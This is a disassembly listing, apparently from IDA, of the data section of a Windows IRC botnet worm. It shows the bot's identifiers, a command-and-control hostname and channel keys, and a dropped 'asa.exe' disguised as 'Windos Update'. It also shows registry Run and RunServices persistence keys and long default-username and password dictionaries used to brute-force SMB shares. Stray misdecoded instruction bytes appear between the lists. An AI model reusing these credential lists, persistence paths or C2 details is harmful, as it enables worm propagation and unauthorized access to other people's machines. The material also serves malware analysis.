byte_42E5EA	db 1			; DATA XREF: sub_40EE51:loc_413D0Cr
					; sub_40EE51+4EC5o
aAsn1smb	db 'asn1smb',0
		align 4
		dd 100h, 3 dup(0)
; char aBotid[]
aBotid		db 'botid',0            ; DATA XREF: sub_40E68B+5Ao
					; sub_40EE51+3E47o ...
		align 4
aH4ckerTool	db 'h4cker tool',0      ; DATA XREF: sub_40EE51:loc_414E0Do
; char aB0tn3trx[]
aB0tn3trx	db 'b0tn3trx',0         ; DATA XREF: sub_40EE51+613Fo
					; sub_40EE51+620Eo
		align 4
; char aRrxx_a1s1a_net[]
aRrxx_a1s1a_net	db 'rrxx.a1s1a.net',0   ; DATA XREF: sub_40E68B+38Bo
					; sub_40E68B+444o
		align 4
; char aSx[]
aSx		db '#!sx#',0            ; DATA XREF: sub_40E68B+3ACo
					; sub_40E68B+45Ao
		align 4
; char aH4ck[]
aH4ck		db 'h4ck',0             ; DATA XREF: sub_40E68B+3C3o
					; sub_40E68B+46Co
		align 4
; char byte_42E644
byte_42E644	db 72h			; DATA XREF: sub_40E68B:loc_40EB0Dr
					; sub_40E68B+490o
		db 72h,	2 dup(78h)
		dd 7331612Eh, 6E2E6131h, 7465h
; char aSx_0[]
aSx_0		db '#!sx#',0            ; DATA XREF: sub_40E68B+4A6o
		align 4
; char aH4ck_0[]
aH4ck_0		db 'h4ck',0             ; DATA XREF: sub_40E68B+4B8o
		align 4
; char byte_42E664
byte_42E664	db 61h			; DATA XREF: sub_402B7B+Fo
					; sub_4030DF+81o ...
		db 73h,	61h, 2Eh
		dd 657865h
; char aCvbei_dll[]
aCvbei_dll	db 'cvbei.dll',0        ; DATA XREF: sub_4022BD+3Do
		align 4
aWindosUpdate	db 'Windos Update',0    ; DATA XREF: sub_40C1B0+Eo
		align 4
aBot		db '[bot]-',0           ; DATA XREF: sub_415985+12o
		align 10h
aAsa_exe	db 'asa.exe',0
aXi		db '+xi',0              ; DATA XREF: sub_40EE51+6287o
; char aS_5[]
aS_5		db '#!S#',0             ; DATA XREF: sub_40EE51:loc_4120E8o
					; sub_40EE51+508Bo ...
		align 4
; char aS_4[]
aS_4		db '#!S#',0             ; DATA XREF: sub_40EE51+1F1Eo
		align 4
; char aS_3[]
aS_3		db '#!S#',0             ; DATA XREF: sub_40EE51+1D67o
		align 4
off_42E6B4	dd offset aAsa@		; DATA XREF: sub_40EE51:loc_414FECo
					; "asa@*"
off_42E6B8	dd offset aH4ckerTool_0	; DATA XREF: sub_40EE51+8C6r
					; sub_40EE51+61B7o
					; "h4cker tool"
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F77+28o
					; sub_41629B+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F77+D4o
					; sub_41629B+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 8
		dd offset byte_4397BC
		dd offset byte_4397BC
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_1	; "SYSTEM"
		dd offset aServer_2	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_433C1C	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4279BC
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
; ---------------------------------------------------------------------------
		mov	esp, 0B400433Bh
		cmp	eax, [ebx+0]
		lodsb
		cmp	eax, [ebx+0]
		mov	al, ds:9400433Bh
		cmp	eax, [ebx+0]
		movsb
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
; ---------------------------------------------------------------------------
		sal	byte ptr [edx],	1
		inc	ebx
		add	ah, al
		xor	al, [ebx+0]
		mov	esp, 0B0004332h
		xor	al, [ebx+0]
		test	al, 32h
		inc	ebx
		add	[eax+20004332h], ah
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool_0	; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay_1	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
